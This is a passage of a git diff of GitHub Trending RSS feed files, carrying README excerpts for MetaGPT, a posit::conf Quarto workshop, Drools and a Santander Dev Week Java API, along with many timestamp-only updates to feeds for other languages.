Tasks, Repo</p><hr><h1>MetaGPT: The Multi-Agent Framework</h1> <p align="center"> <a href=""><img src="https://raw.githubusercontent.com/geekan/MetaGPT/main/docs/resources/MetaGPT-logo.jpeg" alt="MetaGPT logo: Enable GPT to work in software company, collaborating to tackle more complex tasks." width="150px"></a> </p> <p align="center"> <b>Assign different roles to GPTs to form a collaborative software entity for complex tasks.</b> </p> <p align="center"> <a href="https://raw.githubusercontent.com/geekan/MetaGPT/main/docs/README_CN.md"><img src="https://img.shields.io/badge/文档-中文版-blue.svg" alt="CN doc"></a> <a href="https://raw.githubusercontent.com/geekan/MetaGPT/main/README.md"><img src="https://img.shields.io/badge/document-English-blue.svg?sanitize=true" alt="EN doc"></a> <a href="https://raw.githubusercontent.com/geekan/MetaGPT/main/docs/README_JA.md"><img src="https://img.shields.io/badge/ドキュメント-日本語-blue.svg" alt="JA doc"></a> <a href="https://discord.gg/wCp6Q3fsAk"><img src="https://img.shields.io/badge/Discord-Join-blue?logo=discord&amp;logoColor=white&amp;color=blue" alt="Discord Follow"></a> <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-blue.svg?sanitize=true" alt="License: MIT"></a> <a href="https://raw.githubusercontent.com/geekan/MetaGPT/main/docs/ROADMAP.md"><img src="https://img.shields.io/badge/ROADMAP-路线图-blue" alt="roadmap"></a> <a href="https://twitter.com/DeepWisdom2019"><img src="https://img.shields.io/twitter/follow/MetaGPT?style=social" alt="Twitter Follow"></a> </p> <p align="center"> <a href="https://airtable.com/appInfdG0eJ9J4NNL/shrEd9DrwVE3jX6oz"><img src="https://img.shields.io/badge/AgentStore-Waitlist-ffc107?logoColor=white" alt="AgentStore Waitlist"></a> <a href="https://vscode.dev/redirect?url=vscode://ms-vscode-remote.remote-containers/cloneInVolume?url=https://github.com/geekan/MetaGPT"><img src="https://img.shields.io/static/v1?label=Dev%20Containers&amp;message=Open&amp;color=blue&amp;logo=visualstudiocode" alt="Open in Dev Containers"></a> <a href="https://codespaces.new/geekan/MetaGPT"><img src="https://img.shields.io/badge/Github_Codespace-Open-blue?logo=github" alt="Open in GitHub Codespaces"></a> <a href="https://huggingface.co/spaces/deepwisdom/MetaGPT" target="_blank"><img alt="Hugging Face" src="https://img.shields.io/badge/%F0%9F%A4%97%20-Hugging%20Face-blue?color=blue&amp;logoColor=white"></a> </p> <ol> <li>MetaGPT takes a <strong>one line requirement</strong> as input and outputs <strong>user stories / competitive analysis / requirements / data structures / APIs / documents, etc.</strong></li> <li>Internally, MetaGPT includes <strong>product managers / architects / project managers / engineers.</strong> It provides the entire process of a <strong>software company along with carefully orchestrated SOPs.</strong> <ol> <li><code>Code = SOP(Team)</code> is the core philosophy. We materialize SOP and apply it to teams composed of LLMs.</li> </ol> </li> </ol> <p><img src="https://raw.githubusercontent.com/geekan/MetaGPT/main/docs/resources/software_company_cd.jpeg" alt="A software company consists of LLM-based roles"></p> <p align="center">Software Company Multi-Role Schematic (Gradually Implementing)</p> <h2>MetaGPT's Abilities</h2> <p><a href="https://github.com/geekan/MetaGPT/assets/34952977/34345016-5d13-489d-b9f9-b82ace413419">https://github.com/geekan/MetaGPT/assets/34952977/34345016-5d13-489d-b9f9-b82ace413419</a></p> <h2>Examples (fully generated by GPT-4)</h2> <p>For example, if you type <code>python startup.py "Design a RecSys like Toutiao"</code>, you would get many outputs, one of them is data &amp; api design</p> <p><img src="https://raw.githubusercontent.com/geekan/MetaGPT/main/docs/resources/workspace/content_rec_sys/resources/data_api_design.png" alt="Jinri Toutiao Recsys Data &amp; API Design"></p> <p>It costs approximately <strong>$0.2</strong> (in GPT-4 API fees) to generate one example with analysis and design, and around <strong>$2.0</strong> for a full project.</p> <h2>Installation</h2> <h3>Installation Video Guide</h3> <ul> <li><a href="https://youtu.be/uT75J_KG_aY">Matthew Berman: How To Install MetaGPT - Build A Startup With One Prompt!!</a></li> </ul> <h3>Traditional Installation</h3> <pre><code class="language-bash"># Step 1: Ensure that NPM is installed on your system. Then install mermaid-js. (If you don't have npm in your computer, please go to the Node.js offical website to install Node.js https://nodejs.org/ and then you will have npm tool in your computer.) npm --version sudo npm install -g @mermaid-js/mermaid-cli # Step 2: Ensure that Python 3.9+ is installed on your system. You can check this by using: python --version # Step 3: Clone the repository to your local machine, and install it. git clone https://github.com/geekan/metagpt cd metagpt pip install -e. </code></pre> <p><strong>Note:</strong></p> <ul> <li> <p>If already have Chrome, Chromium, or MS Edge installed, you can skip downloading Chromium by setting the environment variable <code>PUPPETEER_SKIP_CHROMIUM_DOWNLOAD</code> to <code>true</code>.</p> </li> <li> <p>Some people are <a href="https://github.com/mermaidjs/mermaid.cli/issues/15">having issues</a> installing this tool globally. Installing it locally is an alternative solution,</p> <pre><code class="language-bash">npm install @mermaid-js/mermaid-cli </code></pre> </li> <li> <p>don't forget to the configuration for mmdc in config.yml</p> <pre><code class="language-yml">PUPPETEER_CONFIG: "./config/puppeteer-config.json" MMDC: "./node_modules/.bin/mmdc" </code></pre> </li> <li> <p>if <code>pip install -e.</code> fails with error <code>[Errno 13] Permission denied: '/usr/local/lib/python3.11/dist-packages/test-easy-install-13129.write-test'</code>, try instead running <code>pip install -e. --user</code></p> </li> <li> <p>To convert Mermaid charts to SVG, PNG, and PDF formats. In addition to the Node.js version of Mermaid-CLI, you now have the option to use Python version Playwright, pyppeteer or mermaid.ink for this task.</p> <ul> <li> <p>Playwright</p> <ul> <li><strong>Install Playwright</strong></li> </ul> <pre><code class="language-bash">pip install playwright </code></pre> <ul> <li><strong>Install the Required Browsers</strong></li> </ul> <p>to support PDF conversion, please install Chrominum.</p> <pre><code class="language-bash">playwright install --with-deps chromium </code></pre> <ul> <li><strong>modify <code>config.yaml</code></strong></li> </ul> <p>uncomment MERMAID_ENGINE from config.yaml and change it to <code>playwright</code></p> <pre><code class="language-yaml">MERMAID_ENGINE: playwright </code></pre> </li> <li> <p>pyppeteer</p> <ul> <li><strong>Install pyppeteer</strong></li> </ul> <pre><code class="language-bash">pip install pyppeteer </code></pre> <ul> <li><strong>Use your own Browsers</strong></li> </ul> <p>pyppeteer alow you use installed browsers, please set the following envirment</p> <pre><code class="language-bash">export PUPPETEER_EXECUTABLE_PATH = /path/to/your/chromium or edge or chrome </code></pre> <p>please do not use this command to install browser, it is too old</p> <pre><code class="language-bash">pyppeteer-install </code></pre> <ul> <li><strong>modify <code>config.yaml</code></strong></li> </ul> <p>uncomment MERMAID_ENGINE from config.yaml and change it to <code>pyppeteer</code></p> <pre><code class="language-yaml">MERMAID_ENGINE: pyppeteer </code></pre> </li> <li> <p>mermaid.ink</p> <ul> <li><strong>modify <code>config.yaml</code></strong></li> </ul> <p>uncomment MERMAID_ENGINE from config.yaml and change it to <code>ink</code></p> <pre><code class="language-yaml">MERMAID_ENGINE: ink </code></pre> <p>Note: this method does not support pdf export.</p> </li> </ul> </li> </ul> <h3>Installation by Docker</h3> <pre><code class="language-bash"># Step 1: Download metagpt official image and prepare config.yaml docker pull metagpt/metagpt:v0.3.1 mkdir -p /opt/metagpt/{config,workspace} docker run --rm metagpt/metagpt:v0.3.1 cat /app/metagpt/config/config.yaml &gt; /opt/metagpt/config/key.yaml vim /opt/metagpt/config/key.yaml # Change the config # Step 2: Run metagpt demo with container docker run --rm \ --privileged \ -v /opt/metagpt/config/key.yaml:/app/metagpt/config/key.yaml \ -v /opt/metagpt/workspace:/app/metagpt/workspace \ metagpt/metagpt:v0.3.1 \ python startup.py "Write a cli snake game" # You can also start a container and execute commands in it docker run --name metagpt -d \ --privileged \ -v /opt/metagpt/config/key.yaml:/app/metagpt/config/key.yaml \ -v /opt/metagpt/workspace:/app/metagpt/workspace \ metagpt/metagpt:v0.3.1 docker exec -it metagpt /bin/bash $ python startup.py "Write a cli snake game" </code></pre> <p>The command <code>docker run ...</code> do the following things:</p> <ul> <li>Run in privileged mode to have permission to run the browser</li> <li>Map host directory <code>/opt/metagpt/config</code> to container directory <code>/app/metagpt/config</code></li> <li>Map host directory <code>/opt/metagpt/workspace</code> to container directory <code>/app/metagpt/workspace</code></li> <li>Execute the demo command <code>python startup.py "Write a cli snake game"</code></li> </ul> <h3>Build image by yourself</h3> <pre><code class="language-bash"># You can also build metagpt image by yourself. git clone https://github.com/geekan/MetaGPT.git cd MetaGPT &amp;&amp; docker build -t metagpt:custom . </code></pre> <h2>Configuration</h2> <ul> <li>Configure your <code>OPENAI_API_KEY</code> in any of <code>config/key.yaml / config/config.yaml / env</code></li> <li>Priority order: <code>config/key.yaml &gt; config/config.yaml &gt; env</code></li> </ul> <pre><code class="language-bash"># Copy the configuration file and make the necessary modifications. cp config/config.yaml config/key.yaml </code></pre> <table> <thead> <tr> <th>Variable Name</th> <th>config/key.yaml</th> <th>env</th> </tr> </thead> <tbody> <tr> <td>OPENAI_API_KEY # Replace with your own key</td> <td>OPENAI_API_KEY: "sk-..."</td> <td>export OPENAI_API_KEY="sk-..."</td> </tr> <tr> <td>OPENAI_API_BASE # Optional</td> <td>OPENAI_API_BASE: "https://&lt;YOUR_SITE&gt;/v1"</td> <td>export OPENAI_API_BASE="https://&lt;YOUR_SITE&gt;/v1"</td> </tr> </tbody> </table> <h2>Tutorial: Initiating a startup</h2> <pre><code class="language-shell"># Run the script python startup.py "Write a cli snake game" # Do not hire an engineer to implement the project python startup.py "Write a cli snake game" --implement False # Hire an engineer and perform code reviews python startup.py "Write a cli snake game" --code_review True </code></pre> <p>After running the script, you can find your new project in the <code>workspace/</code> directory.</p> <h3>Preference of Platform or Tool</h3> <p>You can tell which platform or tool you want to use when stating your requirements.</p> <pre><code class="language-shell">python startup.py "Write a cli snake game based on pygame" </code></pre> <h3>Usage</h3> <pre><code>NAME startup.py - We are a software startup comprised of AI. By investing in us, you are empowering a future filled with limitless possibilities. SYNOPSIS startup.py IDEA &lt;flags&gt; DESCRIPTION We are a software startup comprised of AI. By investing in us, you are empowering a future filled with limitless possibilities. POSITIONAL ARGUMENTS IDEA Type: str Your innovative idea, such as "Creating a snake game." FLAGS --investment=INVESTMENT Type: float Default: 3.0 As an investor, you have the opportunity to contribute a certain dollar amount to this AI company. --n_round=N_ROUND Type: int Default: 5 NOTES You can also use flags syntax for POSITIONAL ARGUMENTS </code></pre> <h3>Code walkthrough</h3> <pre><code class="language-python">from metagpt.software_company import SoftwareCompany from metagpt.roles import ProjectManager, ProductManager, Architect, Engineer async def startup(idea: str, investment: float = 3.0, n_round: int = 5): """Run a startup. Be a boss.""" company = SoftwareCompany() company.hire([ProductManager(), Architect(), ProjectManager(), Engineer()]) company.invest(investment) company.start_project(idea) await company.run(n_round=n_round) </code></pre> <p>You can check <code>examples</code> for more details on single role (with knowledge base) and LLM only examples.</p> <h2>QuickStart</h2> <p>It is difficult to install and configure the local environment for some users. The following tutorials will allow you to quickly experience the charm of MetaGPT.</p> <ul> <li><a href="https://deepwisdom.feishu.cn/wiki/CyY9wdJc4iNqArku3Lncl4v8n2b">MetaGPT quickstart</a></li> </ul> <p>Try it on Huggingface Space</p> <ul> <li><a href="https://huggingface.co/spaces/deepwisdom/MetaGPT">https://huggingface.co/spaces/deepwisdom/MetaGPT</a></li> </ul> <h2>Citation</h2> <p>For now, cite the <a href="https://arxiv.org/abs/2308.00352">Arxiv paper</a>:</p> <pre><code class="language-bibtex">@misc{hong2023metagpt, title={MetaGPT: Meta Programming for Multi-Agent Collaborative Framework}, author={Sirui Hong and Xiawu Zheng and Jonathan Chen and Yuheng Cheng and Jinlin Wang and Ceyao Zhang and Zili Wang and Steven Ka Shing Yau and Zijuan Lin and Liyang Zhou and Chenyu Ran and Lingfeng Xiao and Chenglin Wu}, year={2023}, eprint={2308.00352}, archivePrefix={arXiv}, primaryClass={cs.AI} } </code></pre> <h2>Contact Information</h2> <p>If you have any questions or feedback about this project, please feel free to contact us. We highly appreciate your suggestions!</p> <ul> <li><strong>Email:</strong> <a href="mailto:alexanderwu@fuzhi.ai">alexanderwu@fuzhi.ai</a></li> <li><strong>GitHub Issues:</strong> For more technical inquiries, you can also create a new issue in our <a href="https://github.com/geekan/metagpt/issues">GitHub repository</a>.</li> </ul> <p>We will respond to all questions within 2-3 business days.</p> <h2>Demo</h2> <p><a href="https://github.com/geekan/MetaGPT/assets/2707039/5e8c1062-8c35-440f-bb20-2b0320f8d27d">https://github.com/geekan/MetaGPT/assets/2707039/5e8c1062-8c35-440f-bb20-2b0320f8d27d</a></p> <h2>Join us</h2> <p>📢 Join Our Discord Channel! <a href="https://discord.gg/ZRHeExS6xv">https://discord.gg/ZRHeExS6xv</a></p> <p>Looking forward to seeing you there! 🎉</p> + + + posit-conf-2023/quarto-r + 2023-09-20T01:31:41Z + tag:github.com,2023-09-20:/posit-conf-2023/quarto-r + + <p></p><hr><h1>Quarto with R &amp; RStudio</h1> <h3>posit::conf 2023</h3> <h4>Teaching Team</h4> <ul> <li>Andrew Bray</li> <li>Amelia McNamara</li> <li>Emil Hvitfeldt</li> <li>Mouna Belaid</li> </ul> <hr> <p><span>🗓</span> September 16 and 17, 2022<br> <span>⏰</span> 09:00 - 17:00<br> <span>🏨</span> Hyatt Regency, Chicago <span>✍</span> <a href="http://pos.it/conf">pos.it/conf</a></p> <hr> <h2>Overview</h2> <p>These workshops will prepare you to author a rich array of documents in Quarto, the next generation of R Markdown. Quarto is an open-source scientific and technical publishing system that offers multilingual programming language support to create dynamic and static documents, books, presentations, blogs, and other online resources.</p> <p>The focus of the introductory workshop will be on single documents. You will learn to create static documents, to add interactivity to them with Shiny and htmlwidgets, or steer them in the direction of sophisticated scientific documents. In the afternoon you’ll take the same authoring approaches to create slide presentations in various formats such as reveal.js, beamer, and pptx.</p> <p>The focus of the advanced workshop will be on projects that weave together multiple documents and allow you to write books and build websites. You will also learn various ways to deploy and publish your Quarto projects on the web.</p> <h2>Prework</h2> <p>There is no need to install software or packages on your machine. All you'll need for the workshop is a laptop and a browser. We will set up RStudio environments for all participants on Posit Cloud that will have all of the software that you'll need.</p> <h2>Schedule</h2> <h3>Day 1: Introduction to Quarto</h3> <ul> <li>9-10:30 am <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/1-single-docs/1-welcome-to-quarto">Welcome to Quarto</a></li> <li>10:30-11 am Coffee Break</li> <li>11-12:30 pm <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/1-single-docs/2-polishing-docs">Polishing Documents</a></li> <li>12:30-1:30 pm Lunch</li> <li>1:30-3 pm <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/1-single-docs/3-presentations">Presentations</a></li> <li>3-3:30 pm Coffee Break</li> <li>3:30-5:00 pm <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/1-single-docs/4-sharing-your-work">Sharing your Work</a></li> </ul> <h3>Day 2: Advanced Quarto</h3> <ul> <li>9-10:30 am <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/2-projects/1-docs-to-projects">From Docs to Projects</a></li> <li>10:30-11 am Coffee Break</li> <li>11-12:30 pm <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/2-projects/2-websites">Websites</a></li> <li>12:30-1:30 pm Lunch</li> <li>1:30-2 pm <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/2-projects/3-slidecraft">Advanced Slidecraft</a></li> <li>2-3 pm <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/2-projects/4-books">Books</a></li> <li>3-3:30 pm Coffee Break</li> <li>3:30-4:30 <a href="https://raw.githubusercontent.com/posit-conf-2023/quarto-r/main/materials/2-projects/5-extensions">Extensions</a></li> <li>4:30-5 pm Panel Discussion with the Quarto Dev Team</li> </ul> <h2>Instructor</h2> <p>Andrew Bray is an Associate Teaching Professor in the Department of Statistics at UC Berkeley where he develops and teaches courses in statistics and data science. His research interests include statistical computing, data privacy, and applications of statistical models to environmental science. He was previously an Associate Professor of Statistics in the Department of Mathematics at Reed College and an NSF Five Colleges postdoctoral fellow in western Massachusetts.</p> <hr> <p><img src="https://i.creativecommons.org/l/by/4.0/88x31.png" alt=""> This work is licensed under a <a href="https://creativecommons.org/licenses/by/4.0/">Creative Commons Attribution 4.0 International License</a>.</p> \ No newline at end of file diff --git a/http/daily/index.xml b/http/daily/index.xml index 1bfaa2c752c..99e9f055d4e 100644 --- a/http/daily/index.xml +++ b/http/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTTP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:23Z + 2023-09-20T01:31:56Z Daily Trending of HTTP in GitHub \ No newline at end of file diff --git a/hxml/daily/index.xml b/hxml/daily/index.xml index cec923d7ef2..57b2aee9079 100644 --- a/hxml/daily/index.xml +++ b/hxml/daily/index.xml @@ -1,7 +1,7 @@ GitHub HXML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:28Z + 2023-09-20T01:32:02Z Daily Trending of HXML in GitHub \ No newline at end of file diff --git a/hy/daily/index.xml b/hy/daily/index.xml index 5b29f45b9a0..1a68086b982 100644 --- a/hy/daily/index.xml +++ b/hy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Hy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:26Z + 2023-09-20T01:32:00Z Daily Trending of Hy in GitHub \ No newline at end of file diff --git a/hyphy/daily/index.xml b/hyphy/daily/index.xml index 2b875c5471f..494367a7626 100644 --- a/hyphy/daily/index.xml +++ b/hyphy/daily/index.xml @@ -1,7 +1,7 @@ GitHub HyPhy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:27Z + 2023-09-20T01:32:01Z Daily Trending of HyPhy in GitHub \ No newline at end of file diff --git a/idl/daily/index.xml b/idl/daily/index.xml index d85dcd8e707..b8a384657a6 100644 --- a/idl/daily/index.xml +++ b/idl/daily/index.xml @@ -1,7 +1,7 @@ GitHub IDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:26Z + 2023-09-20T01:32:03Z Daily Trending of IDL in GitHub \ No newline at end of file diff --git a/idris/daily/index.xml b/idris/daily/index.xml index 5ce02b9cd75..6e594db78bd 100644 --- a/idris/daily/index.xml +++ b/idris/daily/index.xml @@ -1,7 +1,7 @@ GitHub Idris Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:30Z + 2023-09-20T01:32:04Z Daily Trending of Idris in GitHub \ No newline at end of file diff --git a/ignore-list/daily/index.xml b/ignore-list/daily/index.xml index ba55bca3a14..efce52b72c3 100644 --- a/ignore-list/daily/index.xml +++ b/ignore-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ignore List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:30Z + 2023-09-20T01:32:05Z Daily Trending of Ignore List in GitHub \ No newline at end of file diff --git a/igor-pro/daily/index.xml b/igor-pro/daily/index.xml index c5cce4dd286..09a2d3739e9 100644 --- a/igor-pro/daily/index.xml +++ b/igor-pro/daily/index.xml @@ -1,7 +1,7 @@ GitHub IGOR Pro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:32Z + 2023-09-20T01:32:06Z Daily Trending of IGOR Pro in GitHub \ No newline at end of file diff --git a/imagej-macro/daily/index.xml b/imagej-macro/daily/index.xml index d40c3acddf8..7ce3a86bca3 100644 --- a/imagej-macro/daily/index.xml +++ b/imagej-macro/daily/index.xml @@ -1,7 +1,7 @@ GitHub ImageJ Macro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:31Z + 2023-09-20T01:32:07Z Daily Trending of ImageJ Macro in GitHub \ No newline at end of file diff --git a/inform-7/daily/index.xml b/inform-7/daily/index.xml index a31c236dfe6..820f06f28bc 100644 --- a/inform-7/daily/index.xml +++ b/inform-7/daily/index.xml @@ -1,7 +1,7 @@ GitHub Inform 7 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:35Z + 2023-09-20T01:32:08Z Daily Trending of Inform 7 in GitHub \ No newline at end of file diff --git a/ini/daily/index.xml b/ini/daily/index.xml index 937b1b47e83..c86b1b7273e 100644 --- a/ini/daily/index.xml +++ b/ini/daily/index.xml @@ -1,7 +1,7 @@ GitHub INI Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:36Z + 2023-09-20T01:32:09Z Daily Trending of INI in GitHub \ No newline at end of file diff --git a/inno-setup/daily/index.xml b/inno-setup/daily/index.xml index 2f4cf313783..e9ff9663687 100644 --- a/inno-setup/daily/index.xml +++ b/inno-setup/daily/index.xml @@ -1,7 +1,7 @@ GitHub Inno Setup Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:39Z + 2023-09-20T01:32:14Z Daily Trending of Inno Setup in GitHub \ No newline at end of file diff --git a/io/daily/index.xml b/io/daily/index.xml index 2e717ec5bea..f6ce1171a61 100644 --- a/io/daily/index.xml +++ b/io/daily/index.xml @@ -1,7 +1,7 @@ GitHub Io Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:40Z + 2023-09-20T01:32:15Z Daily Trending of Io in GitHub \ No newline at end of file diff --git a/ioke/daily/index.xml b/ioke/daily/index.xml index 57c612d4ef0..8e94e1c3a80 100644 --- a/ioke/daily/index.xml +++ b/ioke/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ioke Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:38Z + 2023-09-20T01:32:13Z Daily Trending of Ioke in GitHub \ No newline at end of file diff --git a/irc-log/daily/index.xml b/irc-log/daily/index.xml index ecb0bdfce9d..717be281ff9 100644 --- a/irc-log/daily/index.xml +++ b/irc-log/daily/index.xml @@ -1,7 +1,7 @@ GitHub IRC log Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:37Z + 2023-09-20T01:32:12Z Daily Trending of IRC log in GitHub \ No newline at end of file diff --git a/isabelle-root/daily/index.xml b/isabelle-root/daily/index.xml index 036253172ed..e0418a01fa1 100644 --- a/isabelle-root/daily/index.xml +++ b/isabelle-root/daily/index.xml @@ -1,7 +1,7 @@ GitHub Isabelle ROOT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:42Z + 2023-09-20T01:32:18Z Daily Trending of Isabelle ROOT in GitHub \ No newline at end of file diff --git a/isabelle/daily/index.xml b/isabelle/daily/index.xml index 7b210dd4dda..1c4ee480baf 100644 --- a/isabelle/daily/index.xml +++ b/isabelle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Isabelle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:44Z + 2023-09-20T01:32:19Z Daily Trending of Isabelle in GitHub \ No newline at end of file diff --git a/j/daily/index.xml b/j/daily/index.xml index 53ba14d2ce0..680e527ef03 100644 --- a/j/daily/index.xml +++ b/j/daily/index.xml @@ -1,7 +1,7 @@ GitHub J Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:42Z + 2023-09-20T01:32:17Z Daily Trending of J in GitHub \ No newline at end of file diff --git a/janet/daily/index.xml b/janet/daily/index.xml index 8d40ab0559b..24607b2b8c2 100644 --- a/janet/daily/index.xml +++ b/janet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Janet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:43Z + 2023-09-20T01:32:16Z Daily Trending of Janet in GitHub \ No newline at end of file diff --git a/jar-manifest/daily/index.xml b/jar-manifest/daily/index.xml index 386ce45e47a..6b8920543ae 100644 --- a/jar-manifest/daily/index.xml +++ b/jar-manifest/daily/index.xml @@ -1,7 +1,7 @@ GitHub JAR Manifest Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:47Z + 2023-09-20T01:32:23Z Daily Trending of JAR Manifest in GitHub \ No newline at end of file diff --git a/jasmin/daily/index.xml b/jasmin/daily/index.xml index 1e84ca8a647..aa70e9b6e00 100644 --- a/jasmin/daily/index.xml +++ b/jasmin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jasmin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:46Z + 2023-09-20T01:32:21Z Daily Trending of Jasmin in GitHub \ No newline at end of file diff --git a/java-properties/daily/index.xml b/java-properties/daily/index.xml index 18eda6bcdc4..baba1d56b26 100644 --- a/java-properties/daily/index.xml +++ b/java-properties/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Properties Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:45Z + 2023-09-20T01:32:20Z Daily Trending of Java Properties in GitHub \ No newline at end of file diff --git a/java-server-pages/daily/index.xml b/java-server-pages/daily/index.xml index c16883073b9..18152a44f0f 100644 --- a/java-server-pages/daily/index.xml +++ b/java-server-pages/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Server Pages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:03Z + 2023-09-20T01:32:40Z Daily Trending of Java Server Pages in GitHub \ No newline at end of file diff --git a/java/daily/index.xml b/java/daily/index.xml index c511cf09d0e..470ef1a3487 100644 --- a/java/daily/index.xml +++ b/java/daily/index.xml @@ -1,21 +1,28 @@ GitHub Java Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:50Z + 2023-09-20T01:32:27Z Daily Trending of Java in GitHub - dicodingacademy/a14-android-fundamental-labs - 2023-09-19T01:31:50Z - tag:github.com,2023-09-19:/dicodingacademy/a14-android-fundamental-labs - - <p>Repository ini merupakan salah satu studi kasus dari kelas Belajar Fundamental Aplikasi Android.</p><hr> + apache/incubator-kie-drools + 2023-09-20T01:32:27Z + tag:github.com,2023-09-20:/apache/incubator-kie-drools + + <p>Drools is a rule engine, DMN engine and complex event processing (CEP) engine for Java.</p><hr><p>An open source rule engine, <a href="https://drools.org/learn/dmn.html">DMN engine</a> and complex event processing (CEP) engine for Java™ and the JVM Platform.</p> <p>Drools is a business rule management system with a forward-chaining and backward-chaining inference based rules engine, allowing fast and reliable evaluation of business rules and complex event processing. A rule engine is also a fundamental building block to create an expert system which, in artificial intelligence, is a computer system that emulates the decision-making ability of a human expert.</p> <p>Be sure to check out the Drools' project <a href="https://drools.org">website</a> and <a href="https://drools.org/learn/documentation.html">documentation</a>!</p> <h1>Developing Drools and jBPM</h1> <p><strong>If you want to build or contribute to a kiegroup project, <a href="https://github.com/kiegroup/droolsjbpm-build-bootstrap/raw/main/README.md">read this document</a>.</strong></p> <p><strong>It will save you and us a lot of time by setting up your development environment correctly.</strong> It solves all known pitfalls that can disrupt your development. It also describes all guidelines, tips and tricks. If you want your pull requests (or patches) to be merged, please respect those guidelines.</p> <h1>Test execution tip</h1> <p>Some test are meant to be executed on machine with <em>en_US</em> locale. A specific profile is provided to execute them on machines with different locale, namely <code>test-en</code>. There are two ways to activate such profile during maven build:</p> <ol> <li><code>-Ptest-en</code> (profile-id based)</li> <li><code>-DTestEn</code> (property based)</li> </ol> <p>The following two commands will execute tests on machine with locale different than <em>en_US</em>:</p> <ol> <li><code>make test -Ptest-en</code></li> <li><code>make test -DTestEn</code></li> </ol> - wanam/YouTubeAdAway - 2023-09-19T01:31:50Z - tag:github.com,2023-09-19:/wanam/YouTubeAdAway - - <p>Xposed module to block YouTube ads on the official YouTube Android App</p><hr><h1>YouTubeAdAway</h1> <p>Xposed module to block YouTube in-video ads and enable background playback on the official YouTube app Tested against YouTube 17.40.40, but it should support newer updates. Feel free to raise an issue if a newer YouTube update is not supported, and please make sure you provide your xposed logs.</p> <p>YouTube videos ad cards are not hidden, and there is not ETA on when it will be supported. You are more than welcome to contribute with pull requests!</p> + digitalinnovationone/santander-dev-week-2023-api + 2023-09-20T01:32:27Z + tag:github.com,2023-09-20:/digitalinnovationone/santander-dev-week-2023-api + + <p>RESTful API da Santander Dev Week 2023 construída em Java 17 com Spring Boot 3.</p><hr><h1>Santander Dev Week 2023 Java API</h1> <p>RESTful API da Santander Dev Week 2023 construída em Java 17 com Spring Boot 3.</p> <h2>Principais Tecnologias</h2> <ul> <li><strong>Java 17</strong>: Utilizaremos a versão LTS mais recente do Java para tirar vantagem das últimas inovações que essa linguagem robusta e amplamente utilizada oferece;</li> <li><strong>Spring Boot 3</strong>: Trabalharemos com a mais nova versão do Spring Boot, que maximiza a produtividade do desenvolvedor por meio de sua poderosa premissa de autoconfiguração;</li> <li><strong>Spring Data JPA</strong>: Exploraremos como essa ferramenta pode simplificar nossa camada de acesso aos dados, facilitando a integração com bancos de dados SQL;</li> <li><strong>OpenAPI (Swagger)</strong>: Vamos criar uma documentação de API eficaz e fácil de entender usando a OpenAPI (Swagger), perfeitamente alinhada com a alta produtividade que o Spring Boot oferece;</li> <li><strong>Railway</strong>: facilita o deploy e monitoramento de nossas soluções na nuvem, além de oferecer diversos bancos de dados como serviço e pipelines de CI/CD.</li> </ul> <h2><a href="https://www.figma.com/file/0ZsjwjsYlYd3timxqMWlbj/SANTANDER---Projeto-Web%2FMobile?type=design&amp;node-id=1421%3A432&amp;mode=design&amp;t=6dPQuerScEQH0zAn-1">Link do Figma</a></h2> <p>O Figma foi utilizado para a abstração do domínio desta API, sendo útil na análise e projeto da solução.</p> <h2>Diagrama de Classes (Domínio da API)</h2> <pre><code class="language-mermaid">classDiagram class User { -String name -Account account -Feature[] features -Card card -News[] news } class Account { -String number -String agency -Number balance -Number limit } class Feature { -String icon -String description } class Card { -String number -Number limit } class News { -String icon -String description } User "1" *-- "1" Account User "1" *-- "N" Feature User "1" *-- "1" Card User "1" *-- "N" 